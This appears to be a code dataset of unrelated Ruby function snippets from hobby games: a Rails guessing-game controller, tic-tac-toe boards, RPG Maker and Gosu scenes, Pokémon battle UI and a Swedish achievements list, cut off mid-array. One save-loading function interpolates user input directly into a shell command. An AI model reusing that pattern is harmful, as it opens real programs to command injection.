@game.gsr5_status\n @gsrstatus = @game.gsr5_status\n gon.spoiler = @game.gsr5_spoiler\n gon.guessernum = \"5\"\n gon.playerscore = @game.gsr5_score\n gon.heartstatus = @game.gsr5_heart\n gon.pupspoiler = @game.pupspoilerusedp5\n gon.pupneutrals = @game.pupneutralused5\n @cheatstatus = @game.gsr5_cheat\n if @game.gsr5_status == \"over,over\" && @game.gamestatus != \"give\"\n @chatshow = true\n end\n elsif current_user.id == @game.guesser_id6\n gon.guessedwords = @game.gsr6_words\n gon.wordsh1 = @game.gsr6_h1words\n gon.wordsh2 = @game.gsr6_h2words\n gon.wordsh3 = @game.gsr6_h3words\n gon.guessstatus = @game.gsr6_status\n @gsrstatus = @game.gsr6_status\n gon.spoiler = @game.gsr6_spoiler\n gon.guessernum = \"6\"\n gon.playerscore = @game.gsr6_score\n gon.heartstatus = @game.gsr6_heart\n gon.pupspoiler = @game.pupspoilerusedp6\n gon.pupneutrals = @game.pupneutralused6\n @cheatstatus = @game.gsr6_cheat\n if @game.gsr6_status == \"over,over\" && @game.gamestatus != \"give\"\n @chatshow = true \n end\n \tend\n\n if current_user.id == @game.giver_id && @game.gamestatus != \"give\"\n @chatshow = true\n end\n end\n\n avgiverbgnum = ''\n avgiverheadnum = ''\n avgivermouthnum = ''\n avgivereyesnum = ''\n avgiverhairnum = ''\n avgiverdeconum = ''\n avguesserbgnum = ''\n avguesserheadnum = ''\n avguessermouthnum = ''\n avguessereyesnum = ''\n avguesserhairnum = ''\n avguesserdeconum = ''\n avgiverarray = User.find(@game.giver_id).avatar_content_type.split(\"-\")\n avgiverarray.each do |str|\n if str.include?(\"bg\")\n avgiverbgnum = str.split(\":\")[1]\n elsif str.include?(\"head\")\n avgiverheadnum = str.split(\":\")[1]\n elsif str.include?(\"mouth\")\n avgivermouthnum = str.split(\":\")[1]\n elsif str.include?(\"eyes\")\n avgivereyesnum = str.split(\":\")[1]\n elsif str.include?(\"hair\")\n avgiverhairnum = str.split(\":\")[1]\n elsif str.include?(\"deco\")\n avgiverdeconum = str.split(\":\")[1]\n end\n end\n if current_user\n avguesserarray = current_user.avatar_content_type.split(\"-\")\n else\n avguesserarray = [\"bg:001\", \"head:001\", \"mouth:001\", \"eyes:001\", \"hair:001\", \"deco:001\"]\n end\n avguesserarray.each do |str|\n if str.include?(\"bg\")\n avguesserbgnum = str.split(\":\")[1]\n elsif str.include?(\"head\")\n avguesserheadnum = str.split(\":\")[1]\n elsif str.include?(\"mouth\")\n avguessermouthnum = str.split(\":\")[1]\n elsif str.include?(\"eyes\")\n avguessereyesnum = str.split(\":\")[1]\n elsif str.include?(\"hair\")\n avguesserhairnum = str.split(\":\")[1]\n elsif str.include?(\"deco\")\n avguesserdeconum = str.split(\":\")[1]\n end\n end\n \n @avgiverbgurl = User.avatarpartsurl(\"bg\", avgiverbgnum.to_i)\n @avgiverheadurl = User.avatarpartsurl(\"head\", avgiverheadnum.to_i)\n @avgivermouthurl = User.avatarpartsurl(\"mouth\", avgivermouthnum.to_i)\n @avgivereyesurl = User.avatarpartsurl(\"eyes\", avgivereyesnum.to_i)\n @avgiverhairurl = User.avatarpartsurl(\"hair\", avgiverhairnum.to_i)\n @avgiverdecourl = User.avatarpartsurl(\"deco\", avgiverdeconum.to_i)\n\n @avguesserbgurl = User.avatarpartsurl(\"bg\", avguesserbgnum.to_i)\n @avguesserheadurl = User.avatarpartsurl(\"head\", avguesserheadnum.to_i)\n @avguessermouthurl = User.avatarpartsurl(\"mouth\", avguessermouthnum.to_i)\n @avguessereyesurl = User.avatarpartsurl(\"eyes\", avguessereyesnum.to_i)\n @avguesserhairurl = User.avatarpartsurl(\"hair\", avguesserhairnum.to_i)\n @avguesserdecourl = User.avatarpartsurl(\"deco\", avguesserdeconum.to_i)\n end",
"def show_players\n puts \"Il reste #{players_left} enemies\"\n player1.show_state\n puts \"\\n\"\n end",
"def show_players\r\n puts \"Tu as #{human_player.life_points}\"\r\n puts \"il reste #{@enemies.length} bots, courage!!\"\r\n end",
"def show_user_board\n puts @player_board.render(true)\n end",
"def initialize(window)\n # @lines is an array of strings\n @lines = Array.new\n @current_pos = 0\n @current = true\n @hidden = false\n @cur_start_y = START_Y\n @font = Gosu::Font.new(window, Gosu::default_font_name, FONT_HEIGHT)\n @ctc = Gosu::Image.load_tiles(window, \"resources/sakura.png\", 20, 20, false)\n end",
"def enter_arena\n\t\tif @state == :OPEN\n\t\t\tif @players.count == 2\n\t\t\t\tgame_spec =[{\"xStart\" => 25, \"yStart\" => 30, \n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"north\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[0].username}, \n\t\t\t\t \t\t\t\t\t\t{\"xStart\" => 30, \"yStart\" => 25, \n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"east\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[1].username}]\n\t\t\telsif @players.count == 3\n\t\t\t\tgame_spec =[{\"xStart\" => 25, \"yStart\" => 25, \n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"north\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[0].username}, \n\t\t\t\t \t\t\t\t\t\t{\"xStart\" => 75, \"yStart\" => 25, \n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"north\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[1].username},\n\t\t\t\t\t\t\t\t\t\t{\"xStart\" => 50, \"yStart\" => 75,\n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"south\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[2].username}]\n\t\t\telsif @players.count == 4\n\t\t\t\tgame_spec =[{\"xStart\" => 25, \"yStart\" => 30, \n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"north\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[0].username}, \n\t\t\t\t \t\t\t\t\t\t{\"xStart\" => 30, \"yStart\" => 25, \n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"east\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[1].username},\n\t\t\t\t\t\t\t\t\t\t{\"xStart\" => 75, \"yStart\" => 70,\n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"south\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[2].username},\n\t\t\t\t\t\t\t\t\t\t{\"xStart\" => 70, \"yStart\" => 75,\n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"west\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[3].username}]\n\t\t\telsif @players.count == 5\n\t\t\t\tgame_spec =[{\"xStart\" => 16, \"yStart\" => 25, \n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"north\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[0].username}, \n\t\t\t\t \t\t\t\t\t\t{\"xStart\" => 32, \"yStart\" => 75, \n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"south\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[1].username},\n\t\t\t\t\t\t\t\t\t\t{\"xStart\" => 50, \"yStart\" => 25,\n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"north\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[2].username},\n\t\t\t\t\t\t\t\t\t\t{\"xStart\" => 68, \"yStart\" => 75,\n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"south\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[3].username},\n\t\t\t\t\t\t\t\t\t\t{\"xStart\" => 84, \"yStart\" => 25,\n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"north\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[4].username}]\n\t\t\telsif @players.count == 6\n\t\t\t\tgame_spec =[{\"xStart\" => 16, \"yStart\" => 75, \n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"south\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[0].username}, \n\t\t\t\t \t\t\t\t\t\t{\"xStart\" => 50, \"yStart\" => 75, \n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"south\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[1].username},\n\t\t\t\t\t\t\t\t\t\t{\"xStart\" => 84, \"yStart\" => 75,\n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"south\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[2].username},\n\t\t\t\t\t\t\t\t\t\t{\"xStart\" => 16, \"yStart\" => 25,\n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"north\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[3].username},\n\t\t\t\t\t\t\t\t\t\t{\"xStart\" => 50, \"yStart\" => 25,\n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"north\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[4].username},\n\t\t\t\t\t\t\t\t\t\t{\"xStart\" => 84, \"yStart\" => 25,\n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"north\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[5].username}]\n\t\t\tend\n\t\t\t@players.each_with_index do |p,i|\n\t\t\t\tputs \"#{p.username} entering arena\"\n\t\t\t\tp.socket.send({\"enterArena\"=>{\"playerId\"=>i, \n\t\t\t\t\t\"players\"=>game_spec}}.to_json)\n\t\t\tend \n\t\tend\n\t\t@state = :READY\n\tend",
"def loadUIElements\n # battle data boxes\n @battle.battlers.each_with_index do |b, i|\n next if !b\n @sprites[\"dataBox_#{i}\"] = DataBoxEBDX.new(b, @msgview, @battle.pbPlayer, self)\n end\n # messageBox (window sprite) drawn dynamically based on screen size\n bmp1 = Bitmap.smartWindow(Rect.new(8, 8, 8, 8), Rect.new(0, 0, @viewport.width - 28, 82), \"Graphics/EBDX/Pictures/UI/skin1\")\n bmp2 = Bitmap.smartWindow(Rect.new(8, 8, 8, 8), Rect.new(0, 0, @viewport.width - 28, 82), \"Graphics/EBDX/Pictures/UI/skin2\")\n @sprites[\"messageBox\"] = Sprite.new(@msgview)\n @sprites[\"messageBox\"].bitmap = Bitmap.new(@viewport.width - 28, 82*2)\n @sprites[\"messageBox\"].bitmap.blt(0, 0, bmp1, bmp1.rect)\n @sprites[\"messageBox\"].bitmap.blt(0, 82, bmp2, bmp2.rect)\n @sprites[\"messageBox\"].x = @viewport.width/2 - @sprites[\"messageBox\"].src_rect.width/2\n @sprites[\"messageBox\"].y = @viewport.height - 106\n @sprites[\"messageBox\"].z = 99999\n @sprites[\"messageBox\"].src_rect.height /= 2\n @sprites[\"messageBox\"].visible = false\n # help window for other scenes\n @sprites[\"helpwindow\"] = Window_UnformattedTextPokemon.newWithSize(\"\", 0, 0, 32, 32, @msgview)\n @sprites[\"helpwindow\"].visible = false\n @sprites[\"helpwindow\"].z = @sprites[\"messageBox\"].z + 1\n # message window (where the actual text is rendered\n @sprites[\"messageWindow\"] = Window_AdvancedTextPokemon.new(\"\")\n @sprites[\"messageWindow\"].letterbyletter = true\n @sprites[\"messageWindow\"].cursorMode = 2\n @sprites[\"messageWindow\"].battlePause\n @sprites[\"messageWindow\"].viewport = @msgview\n @sprites[\"messageWindow\"].z = @sprites[\"messageBox\"].z + 1\n # old command elements\n @sprites[\"commandWindow\"] = CommandMenuDisplay.new(@msgview, 0) # Retained for compatibility\n @sprites[\"commandWindow\"].visible = false # Retained for compatibility\n @sprites[\"fightWindow\"] = FightMenuDisplay.new(@msgview, 0) # Retained for compatibility\n @sprites[\"fightWindow\"].visible = false # Retained for compatibility\n # new command and fight menu UI\n @commandWindow = CommandWindowEBDX.new(@msgview, @battle, self, @safaribattle)\n @fightWindow = FightWindowEBDX.new(@msgview, @battle, self)\n @bagWindow = BagWindowEBDX.new(self, @msgview)\n @playerLineUp = PartyLineupEBDX.new(@viewport, self, @battle, 0)\n @opponentLineUp = PartyLineupEBDX.new(@viewport, self, @battle, 1)\n @targetWindow = TargetWindowEBDX.new(@msgview, @battle, self)\n # hides the new UI\n 8.times do\n @commandWindow.hide\n @fightWindow.hide\n end\n # Compatibility for Effect messages\n bitmap = pbBitmap(\"Graphics/EBDX/Pictures/UI/abilityMessage\")\n @sprites[\"abilityMessage\"] = Sprite.new(@msgview)\n @sprites[\"abilityMessage\"].bitmap = Bitmap.new(bitmap.width, bitmap.height); bitmap.dispose\n pbSetSmallFont(@sprites[\"abilityMessage\"].bitmap)\n @sprites[\"abilityMessage\"].oy = @sprites[\"abilityMessage\"].bitmap.height/2\n @sprites[\"abilityMessage\"].zoom_y = 0\n @sprites[\"abilityMessage\"].z = 99999\n end",
"def pbLoadUIElements(battle)\n if USENEWUI\n @sprites[\"battlebox0\"]=PokemonNewDataBox.new(battle.battlers[0],battle.doublebattle,@viewport,battle.pbPlayer)\n @sprites[\"battlebox1\"]=PokemonNewDataBox.new(battle.battlers[1],battle.doublebattle,@viewport,battle.pbPlayer)\n if battle.doublebattle\n @sprites[\"battlebox2\"]=PokemonNewDataBox.new(battle.battlers[2],battle.doublebattle,@viewport,battle.pbPlayer)\n @sprites[\"battlebox3\"]=PokemonNewDataBox.new(battle.battlers[3],battle.doublebattle,@viewport,battle.pbPlayer)\n end\n pbAddSprite(\"messagebox\",0,Graphics.height-96,\"Graphics/Pictures/newBattleMessageBox\",@viewport)\n @sprites[\"messagebox\"].z=90\n @sprites[\"messagebox\"].visible=false\n \n @sprites[\"helpwindow\"]=Window_UnformattedTextPokemon.newWithSize(\"\",0,0,32,32,@viewport)\n @sprites[\"helpwindow\"].visible=false\n @sprites[\"helpwindow\"].z=90\n \n @sprites[\"messagewindow\"]=Window_AdvancedTextPokemon.new(\"\")\n @sprites[\"messagewindow\"].letterbyletter=true\n @sprites[\"messagewindow\"].viewport=@viewport\n @sprites[\"messagewindow\"].z=100 \n \n @sprites[\"commandwindow\"]=CommandMenuDisplay.new(@viewport) # Retained for compatibility\n @sprites[\"commandwindow\"].visible=false # Retained for compatibility\n @sprites[\"fightwindow\"]=FightMenuDisplay.new(nil,@viewport) # Retained for compatibility\n @sprites[\"fightwindow\"].visible=false # Retained for compatibility\n @commandWindow=NewCommandWindow.new(@viewport,@battle)\n @fightWindow=NewFightWindow.new(@viewport)\n 10.times do\n @commandWindow.hide\n @fightWindow.hide\n end\n else\n @sprites[\"battlebox0\"]=PokemonDataBox.new(battle.battlers[0],battle.doublebattle,@viewport)\n @sprites[\"battlebox1\"]=PokemonDataBox.new(battle.battlers[1],battle.doublebattle,@viewport)\n if battle.doublebattle\n @sprites[\"battlebox2\"]=PokemonDataBox.new(battle.battlers[2],battle.doublebattle,@viewport)\n @sprites[\"battlebox3\"]=PokemonDataBox.new(battle.battlers[3],battle.doublebattle,@viewport)\n end\n pbAddSprite(\"messagebox\",0,Graphics.height-96,\"Graphics/Pictures/battleMessage\",@viewport)\n @sprites[\"messagebox\"].z=90\n @sprites[\"helpwindow\"]=Window_UnformattedTextPokemon.newWithSize(\"\",0,0,32,32,@viewport)\n @sprites[\"helpwindow\"].visible=false\n @sprites[\"helpwindow\"].z=90\n @sprites[\"messagewindow\"]=Window_AdvancedTextPokemon.new(\"\")\n @sprites[\"messagewindow\"].letterbyletter=true\n @sprites[\"messagewindow\"].viewport=@viewport\n @sprites[\"messagewindow\"].z=100\n @sprites[\"commandwindow\"]=CommandMenuDisplay.new(@viewport)\n @sprites[\"commandwindow\"].z=100\n @sprites[\"fightwindow\"]=FightMenuDisplay.new(nil,@viewport)\n @sprites[\"fightwindow\"].z=100\n pbShowWindow(MESSAGEBOX)\n end\n end",
"def start(location)\n @player.location = location\n show_current_description\n end",
"def display_board\n puts \"\\n---------------\\n\".center(5)\n @board.play_area[0..2].each { |square| print square.to_s.center(5) }\n puts \"\\n\\n\"\n @board.play_area[3..5].each { |square| print square.to_s.center(5) }\n puts \"\\n\\n\"\n @board.play_area[6..8].each { |square| print square.to_s.center(5) }\n puts \"\\n---------------\\n\".center(5)\n end",
"def first_player_plays \n\t@choice_player1 = first_player.ask_play \n\tunless first_player.verification_coordonnees == true \n\t first_player.error \n\t \t @choice_player1 = first_player.ask_play\n\tend\n\n #pour chacun des elements du array stockant les cases\n #si le nom de la case = au choix du joueur et si la case et vide\n #changer la valeur de la case avec une petite croix\n #lance un message de succes (voir classe Player) qui dit que la case est bonne\n #si le nom de la case = au choix du joueur mais la case n'est pas vide\n #on lance la fonction error qui affiche un message d'erreur\n #on relance ask_play pour demander au joueur une autre coordonnee\n\t@array.map do |x| \n\t if x.value == @choice_player1 && x.check_if_empty\n\t x.fill_up_case(\"x\")\n\t first_player.success_case\n\t elsif x.value == @choice_player1 && !x.check_if_empty\n\t\t first_player.error\n\t\t @choice_player1 = first_player.ask_play\n\t end\n end\n\n #on lance la fonction ci-dessous pour modifier le board selon le choix du joueur\t\n\tupdate_board\n #on verifie si le joueur a gagne avec la fonction ci-dessous\n\tcheck_if_victory\n\n #si le joueur a gagne\n #on appelle la fonction winner (classer Player) qui affiche un message de victoire !\n #on lance la fonction ci-dessous qui demande a lancer un nouveau jeu\n\t if @victory == true\n\t first_player.winner \n\t another_game \n\t end\n end",
"def initialize\n\n $scene = self\n\n # Prep model\n @map = Game_Map.new\n @player = Game_Player.new\n\n # Make viewports - Also in the scene\n @vp_under = Viewport.new(0,0,$game.width,$game.height)\n @vp_under.z = 0\n @vp_main = Viewport.new(0,0,$game.width,$game.height) \n @vp_main.z = 1000\n @vp_weather = Viewport.new(0,0,$game.width,$game.height)\n @vp_weather.z = 1999\n @vp_over = Viewport.new(0,0,$game.width,$game.height)\n @vp_over.z = 2000\n @vp_ui = Viewport.new(0,0,$game.width,$game.height)\n @vp_ui.z = 3000\n \n # Make tilemap\n @panoramas = []\n @tilemap = MapWrap.new(@vp_main)\n \n @characters = [] \n @sparks = []\n @pops = []\n\n # weather in map data\n @weather = nil#Weather.new(@vp_over)\n @fogs = []\n\n # Misc Overlay\n @overlay = Sprite.new(@vp_over)\n @overlay.bitmap = Bitmap.new($game.width,$game.height)\n @overlay.bitmap.fill(Color.new(0,0,0))\n @overlay.opacity = 0\n @overlay.z = 999\n\n # Fadeout\n @black = Sprite.new(@vp_over)\n @black.bitmap = Bitmap.new($game.width,$game.height)\n @black.bitmap.fill(Color.new(0,0,0))\n @black.opacity = 0\n @black.z = 1000\n \n # UI\n @hud = nil # Define in sub\n \n end",
"def initialize(save_file=nil)\n super()\n\n @tiles = Gosu::Image.load_tiles(\n RES_DIR.join(\"tiled-icons-16x16.png\").to_s, \n 16, 16,\n retro: true)\n\n @letters = Gosu::Image.load_tiles(\n RES_DIR.join(\"tiled-font-8x16.png\").to_s,\n 8, 16,\n retro: true)\n\n @tile_scale = Size[2,2]\n @grid_size = Size[32,32]\n @map_size = Size[25,19]\n @window = Window.new(size: Size[800,608])\n @window.on_input= self.method(:on_input)\n @window.on_update= self.method(:on_update)\n @window.on_draw= self.method(:on_draw)\n\n @prng = Random.new\n\n sword = {\n tile_index: 5,\n card_type: :weapon,\n description: \"sword\",\n cooldown: 3,\n cooldown_timer: -1\n }\n\n magic_missile = {\n tile_index: 6,\n card_type: :spell,\n description: \"magic missile\",\n contamination: 3,\n }\n\n meat = {\n tile_index: 4,\n card_type: :item,\n description: \"hunk of meat\",\n }\n\n @player = { \n name: \"Player\",\n tile_index: 0,\n action: nil,\n position: Point[1,1],\n movement: nil,\n card_state: {\n contaminated: true,\n weapon: sword,\n spell: magic_missile,\n item: meat,\n deck: [],\n }\n }\n\n goblin = {\n name: \"Goblin\",\n tile_index: 1,\n action: nil,\n position: Point[3,3],\n movement: nil,\n ai_method: :goblin_ai,\n }\n\n walls = Bitmap.new(MAP_SIZE).from_s(WALLS).active_coords.map do |pt|\n {\n tile_index: 2,\n position: pt,\n obstructing: true\n }\n end\n\n @movement = [@player, goblin]\n @with_cards = [@player]\n @ai_method = [goblin]\n @action = [@player, goblin]\n @visible = [@player, goblin, *walls]\n\n @map = {\n size: Size[20,20],\n index: {\n @player[:position] => [@player],\n goblin[:position] => [ goblin],\n },\n }\n\n @map[:index].default_proc = Proc.new do |hash, key|\n hash[key]= []\n end\n\n walls.each do |entity|\n pos = entity[:position]\n @map[:index][pos] << entity\n end\n end",
"def load_game\nputs \"Please choose one of the below saved profiles:\"\nsystem (\"ls *.ca\")\nprint \":\"\n$name = gets.chomp\n$file_name = $name + \".ca\"\nwhile(!system(\"test -e '#{$file_name}'\")) do\nputs \"Such profile does not exits, please choose a valid one.\"\nsystem (\"ls *.ca\")\nprint \":\"\n$name = gets.chomp\n$file_name = $name + \".ca\"\nend\ninfo = IO.readlines(\"#{$file_name}\") # info is a array and each index value is the info of a line info[3] = info that is on line number three.\n# now info is acctualy being loaded intro the system variables\n$name = info[0]\n$lvl = info[1]\n$gold = info[2]\nfor i in 3..((info.length)-1) do\n$inventory[$inventory.length] = info[i] # with $inventory.length start from 0 becuse it's initial null it will automaticaly grow\nend\nputs \"Loading please wait...\"\nsleep(2)\nprint \"............\"\nsleep(1)\nputs \"............\"\nputs $name\nputs $gold\nputs $lvl\nputs $inventory\n####call the level method\nend",
"def show_board # show the game board\n print @board[0..2]\n puts \"\\n\"\n print @board[3..5]\n puts \"\\n\"\n print @board[6..8]\n puts \"\\n\"\n end",
"def visible_tiles\n frame_x = (((@width - Config::TileWidth) / Config::TileWidth) ).to_i\n frame_y = (((@height - Config::TileHeight) / Config::TileHeight) ).to_i\n \n \n start_x = player.location.x - (frame_x / 2).to_i\n start_y = player.location.y - (frame_y / 2).to_i\n \n if start_x < 0\n start_x = 0\n end\n if start_y < 0\n start_y = 0\n end\n \n tiles = Array.new\n \n frame_x.times do |i|\n frame_y.times do |j|\n if (start_x + i < game.map.width ) && (start_y + j < game.map.height )\n # puts(\"start_x is #{start_x} and start_y is #{start_y} and i is #{i} and j is #{j}\")\n tiles << game.map.locations[start_x + i, start_y + j]\n end\n end\n end\n \n tiles\n \n end",
"def display_coordinates\n puts 'persons'\n @all_persons.each do |person|\n puts \"X: #{person.get_x_location} \\nY: #{person.get_y_location}\\n\"\n end\n puts 'MONSTERS'\n @all_monsters.each do |monster|\n puts \"X: #{monster.get_x_location} \\nY: #{monster.get_y_location}\\n\"\n end\n puts 'STRAWBERRIES'\n @all_strawberries.each do |strawberry|\n puts \"X: #{strawberry.get_x_location} \\nY: #{strawberry.get_y_location}\\n\"\n end\n puts 'MUSHROOMS'\n @all_mushrooms.each do |mushroom|\n puts \"X: #{mushroom.get_x_location} \\nY: #{mushroom.get_y_location}\\n\"\n end\n end",
"def setup\n super\n @background = Image['Bg level1.png']\n viewport.lag = 0\n viewport.game_area = [0, 0, 3000, 1000]\n @gilbert = Gilbert.create(x: 50, y: 900, limited: viewport.game_area.width)\n @level = File.join(ROOT, 'levels', self.filename + '.yml')\n load_game_objects(file: @level)\n\n @plataformas = Plataforma2.all\n @music = Song.new('media/Songs/Music Level1.mp3')\n @loser_song = Song.new('media/Songs/gameover.ogg')\n\n @moneda = Moneda.all.first\n\n @meta_on = false\n\n @marco_name = Image['MarcoName.png']\n @marco_score = Image['MarcoPoint.png']\n\n @score = 0\n @msj_name = Chingu::Text.new(@player_name, x: 85, y: 25, size: 30, color: Gosu::Color::WHITE)\n @msj_score = Chingu::Text.new(@score.to_s, x: $window.width - 130, y: 30, size: 35)\n @mensaje = Chingu::Text.new('Has encontrado todas las monedas', x: 320, y: 20, size: 25, color: Gosu::Color::GREEN)\n @mensaje2 = Chingu::Text.new('Encuentra la Meta', x: @msj_name.x, y: 45, size: 30, color: Gosu::Color::YELLOW)\n\n @music.play(true) if @sonido\n end",
"def call_load_screen\n SceneManager.call(Scene_Load)\n end",
"def display\n\t\tstr=map_to_string()\n\t\t(0..@y_length-1).each do |y_counter|\n\t\t\t(0..@x_length-1).each do |x_counter|\n\t\t\t\tprint str[@x_length*y_counter+x_counter]\n\t\t\tend\n\t\t\tprint \"\\n\"\n\t\tend\t\t\n\tend",
"def initialize\r\n\t super(0,Graphics.height-WIN_HEIGHT,Graphics.width,WIN_HEIGHT)\r\n\t @x, @y, @i = 10, 50, 0\r\n\t @party_size = $game_party.all_members.size\r\n contents.font.size = FONT_SIZE\r\n\t self.back_opacity = WIN_OPACITY\r\n self.opacity = FRAME_OPACITY\r\n @actor_hp = []\r\n @actor_mp = []\r\n\t fhiz_hud\r\n\t check_visible\r\n end",
"def screen\n return $game_map.screen\n end",
"def start(location)\n\t\t@player.location = location\n\t\tshow_current_description\n\tend",
"def meta_random_location(array)\n @plataforma_meta.x = array[0]\n @plataforma_meta.y = array[1] + 45\n end",
"def start\n DataManager.create_game_objects\n $game_party.setup_starting_members\n $game_map.setup(Config::Starting_Map_ID)\n $game_player.moveto(Config::X_Pos, Config::Y_Pos)\n $game_player.followers.visible = false\n $game_player.refresh\n $game_player.make_encounter_count\n\n @character_name = $game_player.character_name\n @character_index = $game_player.character_index\n $game_player.set_graphic('', 0)\n\n $game_system.menu_disabled = true\n Graphics.frame_count = 0\n\n super\n create_foreground\n create_background\n create_command_window\n play_title_music\n end",
"def show\n @player = Player.find(params[:id])\n @player_achievement_hash_array = [[{\"HasIt\"=>nil, \"type\"=>\"shame\", \"name\"=>\"BadBets\", \"description\"=>\"Förlora 3 dubbelmatcher på en kväll\", \"score\"=>10, \"img\"=>\"badbets.png\"}, 1], [{\"HasIt\"=>nil, \"type\"=>\"shame\", \"name\"=>\"BadScorer\", \"description\"=>\"Under 10 mål gjorda på 15 matcher\", \"score\"=>-10, \"img\"=>\"badscorer.png\"}, 1], [{\"HasIt\"=>nil, \"type\"=>\"fame\", \"name\"=>\"Bigbets!\", \"description\"=>\"Minst 15 spelade dubbelmatcher\", \"score\"=>10, \"img\"=>\"bigbets.png\"}, 1], [{\"HasIt\"=>nil, \"type\"=>\"fame\", \"name\"=>\"BigWins\", \"description\"=>\"Vinn 3 matcher med minst 5 mål på en kväll\", \"score\"=>10, \"img\"=>\"bigwins.png\"}, 1], [{\"HasIt\"=>nil, \"type\"=>\"fame\", \"name\"=>\"CleanSheets\", \"description\"=>\"Håll nollan 5 matcher i rad\", \"score\"=>10, \"img\"=>\"cleansheets.png\"}, 1], [{\"HasIt\"=>nil, \"type\"=>\"shame\", \"name\"=>\"BigToffel\", \"description\"=>\"Lämna en spelkväll med mindre än 5 spelade matcher\", \"score\"=>-10, \"img\"=>\"deserter.png\"}, 1], [{\"HasIt\"=>nil, \"type\"=>\"shame\", \"name\"=>\"HugeDoubleLose\", \"description\"=>\"Förlora en dubbelmatch med minst 5 i målskillnad\", \"score\"=>-10, \"img\"=>\"doublebiglose.png\"}, 1], [{\"HasIt\"=>nil, \"type\"=>\"fame\", \"name\"=>\"DoubleWins\", \"description\"=>\"Vinn 3 dubbelmatcher på en kväll\", \"score\"=>10, \"img\"=>\"doubledwins.png\"}, 1], [{\"HasIt\"=>nil, \"type\"=>\"fame\", \"name\"=>\"GamingWeek\", \"description\"=>\"Spela 2 kvällar på en vecka\", \"score\"=>10, \"img\"=>\"gaminweek.png\"}, 1], [{\"HasIt\"=>nil, \"type\"=>\"fame\", \"name\"=>\"GOALS!!!\", \"description\"=>\"Gör minst 6 mål på en match\", \"score\"=>10, \"img\"=>\"goal.png\"}, 1], [{\"HasIt\"=>nil, \"type\"=>\"shame\", \"name\"=>\"NoKeeper\", \"description\"=>\"Släpp in minst 6 mål\", \"score\"=>-10, \"img\"=>\"goalagainst.png\"}, 1], [{\"HasIt\"=>nil, \"type\"=>\"fame\", \"name\"=>\"GoldNight!\", \"description\"=>\"Vinn över 200:- på en kväll\", \"score\"=>10, \"img\"=>\"goldnight.png\"}, 1], [{\"HasIt\"=>nil, \"type\"=>\"fame\", \"name\"=>\"GoldStreak\", \"description\"=>\"Vinn över 100:- 3 kvällar på rad\", \"score\"=>10, \"img\"=>\"goldstreak.png\"}, 1], [{\"HasIt\"=>nil, \"type\"=>\"shame\", \"name\"=>\"LoseStreak\", \"description\"=>\"Förlora 5 matcher i rad\", \"score\"=>-10, \"img\"=>\"losestreak.png\"}, 1], [{\"HasIt\"=>nil, \"type\"=>\"shame\", \"name\"=>\"Married\", \"description\"=>\"Spela inga matcher på 90 dagar\", \"score\"=>-10, \"img\"=>\"married.png\"}, 1], [{\"HasIt\"=>nil, \"type\"=>\"shame\", \"name\"=>\"NoCleanSheet!\", \"description\"=>\"Släpp in mål i 10 matcher på rad\", \"score\"=>-10, \"img\"=>\"nocleansheet.png\"}, 1], [{\"HasIt\"=>nil, \"type\"=>\"shame\", \"name\"=>\"NoGoals\", \"description\"=>\"Inga mål gjorde på 5 matcher i rad\", \"score\"=>-10, \"img\"=>\"nogoals.png\"}, 1], [{\"HasIt\"=>nil, \"type\"=>\"shame\", \"name\"=>\"OpenNet\", \"description\"=>\"Släpp in 25 mål på 10 matcher\", \"score\"=>-10, \"img\"=>\"opennet.png\"}, 1], [{\"HasIt\"=>nil, \"type\"=>\"shame\", \"name\"=>\"PoorMan\", \"description\"=>\"Ha en Balance-totalt under -500\", \"score\"=>-10, \"img\"=>\"poorman.png\"}, 1], [{\"HasIt\"=>nil, \"type\"=>\"fame\", \"name\"=>\"ReliableScorer\", \"description\"=>\"Över 12 mål på 5 matcher\", \"score\"=>10, \"img\"=>\"reliablescorer.png\"}, 1], [{\"HasIt\"=>nil, \"type\"=>\"fame\", \"name\"=>\"RichMan\", \"description\"=>\"Ha en Balance-totalt över 500\", \"score\"=>10, \"img\"=>\"richman.png\"}, 1], [{\"HasIt\"=>nil, \"type\"=>\"fame\", \"name\"=>\"TopNotchScorer\", 